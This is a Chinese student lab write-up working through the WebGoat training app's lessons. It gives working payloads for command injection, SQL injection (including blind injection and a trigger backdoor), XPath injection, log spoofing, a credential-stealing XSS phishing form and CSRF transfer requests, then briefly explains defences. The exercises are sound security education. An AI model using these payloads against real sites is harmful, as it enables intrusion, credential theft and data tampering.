一、实验过程
0.开启webgoat
(0)下载(地址:https://github.com/WebGoat/WebGoat/releases/tag/7.0.1)
下载完成后,将文件放到主目录下。
(1)输入 java -jar webgoat-container-7.0.1-war-exec.jar
(2)浏览器打开图中的url: http://localhost:8080/WebGoat
(3)选择登录表单下面的任一用户名和密码进行登录
1.命令注入(Command Injection)
(1)在下拉框上右击,点击 inspect Element ,在 AccessControlMatrix.help 旁边加上"& netstat -an"
(2)选中修改后的值再点 vIEw ,可以看到命令被执行,出现系统网络连接情况:
2.数字型sql注入(Numeric sql Injection)
题目大致为:Try to inject an sql string that results in all the weather data being displayed. (通过注入呈现所有的天气数据信息)
(1)通过观察给出的SQL语句,以及点击提交后呈现的数据发现:“station”参数为注入点,直接在页面代码里的option标签的value值里添加 or 1=1 拼凑出语句: SELECT * FROM weather_data WHERE station =101 or 1=1 即可产生注入
3.日志欺骗(Log Spoofing)
(1)灰色区域代表在Web 服务器的日志中的记录的内容。目的是使用户名为“admin”的用户在日志中显示“成功登录”
(2)往该应用中注入回车(0d%)和换行符(%0a)。在username 中填入“helloworld%0d%0aLogin Succeeded for username: admin”
4.XPATH Injection
(1)XPATH 注入发生在当网站使用用户提供的信息查询XML数据时。通过向网站故意发送异常信息,攻击者可以发现XML数据的结构或访问那些本来无法访问到的数据。如果该XML 是一个用户认证文件(例如一个基于XML 的用户文件),攻击者还能借此提升自己在网站中的特权。使用XPATH 查询XML,通过一个简单的描述性语句类型,允许XML 查询,找到一条信息。
(2)题目要求是使用帐户Mike/Test123,目标是试着去查看其他员工的数据。
(3)在用户名处注入 hello‘ or 1=1 or ‘a‘=‘a ,密码是必须的字段,可以任意输入
5.sql字符串注入(String sql Injection)
(1)下面的表格,允许用户查看他们的xyk号码。尝试通过sql注入将所有xyk信息显示出来
(2)输入 hello‘ or 1=1-- ,进行注入
6.LAB: sql Injection
【1】Stage 1:String sql Injection
(1)以用户Neville登录,在密码栏中输入 ‘ or 1=1 -- 永真式进行sql注入,发现登录失败
(2)查看发现password的最大长度为8,将其修改为20,再次注入,成功
【2】Stage 3:Numeric sql Injection
(1)该题目的目的是通过注入语句,浏览到原本无法浏览的信息。绕过认证执行sql注入,通过一个普通员工的账户larry,浏览其BOSS的账户信息。
(2)我们先使用上一题的办法登录进Larry的账户。(即修改password字段的长度)
(3)老板的薪水应该是最高的,所以把其中的value值改为 101 or 1=1 order by salary desc -- ,这样老板的信息就会被排到第一个
(4)点击 VIEwProfile ,即可查看老板的详细信息
7.Database Backdoors
(1)Try to inject another update to update salary to something higher(利用UPDATE语句,通过sql注入“涨工资”)
(2)输入注入语句: 101; update employee set salary=10000 ,成功把该用户的工资涨到了10000。
(3)接下来,添加触发器,其功能是创建sql后门,把表中所有的邮箱和用户ID都设为指定数据
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘[email protected]‘WHERE userID = NEW.userID
8.数字盲注(Blind Numeric sql Injection)
(1)题目中说明了下面的表单允许用户输入帐号并确定它是否有效,即返回值只有账户有效或无效两种。目标是找到 pins 表中cc_number 字段值为1111222233334444 的记录中pin 字段的数值。pin 字段类型为int,整型。输入找到的数值并提交,通过本课程。
(2)先输入 101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000); ,结果是 InvalID account number. ,无效。
(3)通过二分法,不断尝试,确定范围在2000-2500之间,继续二分法尝试,最终得到Number为2364
9.盲字符串注入(Blind String sql Injection)
(1)下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。目标是找到 pins 表中cc_number 字段值为4321432143214321 的记录中pin 字段的数值。pin 字段类型为varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交,通过本课程。
(2)同样可以通过注入的方式查找到该字段的值。查询语句非常类似上一节:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=‘4321432143214321‘), 1, 1) < ‘M‘ );该语句使用了SUBSTRING 方法,目的是为了取得pin字段数值的第一个字母,并判断其是否比字母“M”小。
(3) 经过多次测试(比较0-9A-Za-z 等字符串)和页面的返回数据,判断出第一个字符为“J”。同理继续判断第二个字符。
(4)这样一步步尝试,最后确定用户名为 Jill
10.跨站脚本钓鱼攻击(Phishing with XSS)
(1)题目要求是关于一个页面中存在XSS漏洞时,如何支持钓鱼攻击。要求我们利用xss和HTML注入达到这些目标。
(2)使用XSS和HTML插入制作一个钓鱼网站,将其输入在search框中,代码如下:
</form> <script>function Hack(){ XSSImage=new Image;XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";alert("Had this been a real attack... Your credentials were just stolen. User name = " + document.phish.user.value + " Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR> <H2>This feature requires account login:</H2><br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="Hack()"></form><br><br><HR
(3)输入后下拉网页,会有用户名和密码的框出现,随意输入用户名和密码
11.LAB: Cross Site Scripting
【1】Stage 1:存储型XSS ( Stage 1:Stored XSS )
(1)执行存储型跨站脚本攻击,以“Tom”身份登录网站,修改个人信息。验证用户“Jerry”会受到攻击。每个帐号的密码是用户明名字的小写(如:Tom的密码是tom)
(2)以用户名“Tom”密码tom登录,选择Tom,点击“VIEw Profile”按钮。现在可 以看到Tom的个人信息。点击“Edit Profile",在“Street”一栏中进行XSS攻击。加入 如下代码,点击“UpdateProfile": <script>alert("haha");</script>
(3)退出登录,以用户名Jerry,密码jerry登录,选择浏览Tom的信息,会d出如下注入脚本,攻击成功
【3】Stage3:Stored XSS Revisited
验证Bruce的个人简介中包含有XSS攻击,使用DavID用户登录,查看Bruce的个人简介,出现d窗,表明存在XSS攻击。
【5】Stage5:Reflected XSS
(1)使用雇员搜索页面漏洞构造一个包含反射型XSS攻击代码的URL。验证另一位雇员访问该URL会受影响。
(2)以用户名Tom,密码tom登录。点击“SearchStaff",在搜索框中,添加如下一段代 码即可完成: <script>alert("XSS");<script>
12.Stored XSS Attacks(存储式 XSS 攻击)
(1)目标是创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
(2)在Title中任意输入字符。在内容中输入以下代码: <script>alert("XSS");</script>
(3)点击“hellworld",这就比如刚创建的帖子,由自己或者其他人浏览,然后会d出一个对话框,证明XSS攻击成功
13.Reflected XSS Attacks(反射型XSS)
(1)1.当我们输入错误的用户信息后,服务器校验输入有误,会返回错误页面并将错误内容展示给我们看
(2)如果将带有攻击性的URL作为输入源,比如,就会d出对话框 <script>alert("helloworld");</script>
14.Cross Site Request Forgery(CSRF)
(1)要求:需要写一个URL诱使其他用户点击,从而触发CSRF攻击。 以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击了图片,就会触发一个CSRF事件。
(2)查看自己电脑的Screen和menu的值
(3)在Message框内输入 <img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=5000"/> (这句话的意思是将Funds即金钱转到自己的账户里),点击提交之后可以看到信息
(4)点击Message List下的链接后,攻击成功
15.CSRF Prompt By-Pass
(1)和上一个类似,发个邮件给newsgroup,包含两个恶意请求:一个是转钱的金额,另一个是确认转账。
(2)在信息框输入
<img src="attack?Screen=1471017872&menu=900&transferFunds=5000" wIDth="1" height="1"> <img src="attack?Screen=1471017872&menu=900&transferFunds=confirm" wIDth="1" height="1">
二、基本问题回答
1.sql注入攻击原理,如何防御?
原理:
通过把sql命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意sql命令的目的。
sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行SQL语句以及进行其他方式的攻击,没有对用户输入的数据进行过滤消毒是攻击成功的主要原因。
防御:
(1)对漏洞注入点相关代码进行代码及sql注入关键字的过滤,以规范代码安全性;
(2)不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接;
(3)应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。
2.XSS攻击的原理,如何防御?
原理:
XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
防御:
(1)统XSS防御多采用特征匹配方式,在所有提交的信息中都进行匹配检查。对于这种类型的XSS攻击,采用的模式匹配方法一般会需要对“JavaScript”这个关键字进行检索,一旦发现提交信息中包含“JavaScript”,就认定为XSS攻击;
(2)检查用户输入的内容中是否有非法内容,如尖括号、引号等,严格控制输出。
3.CSRF攻击原理,如何防御?
原理:
CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session RIDing,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
防御:
(1)对于web站点,将持久化的授权方法(例如cookie或者http授权)切换为瞬时的授权方法(在每个form中提供隐藏fIEld),这将帮助网站防止这些攻击。一种类似的方式是在form中包含秘密信息、用户指定的代号作为cookie之外的验证;
(2)改良站内 API 的设计。对于发布帖子这一类创建资源的 *** 作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。
三、感想
根据指导,加深了我对sql注入、XSS和CSRF的理解。在经历了一个学期别样的技术课程学习后,收获挺大。
总结以上是内存溢出为你收集整理的Exp9 Web安全基础全部内容,希望文章能够帮你解决Exp9 Web安全基础所遇到的程序开发问题。
如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)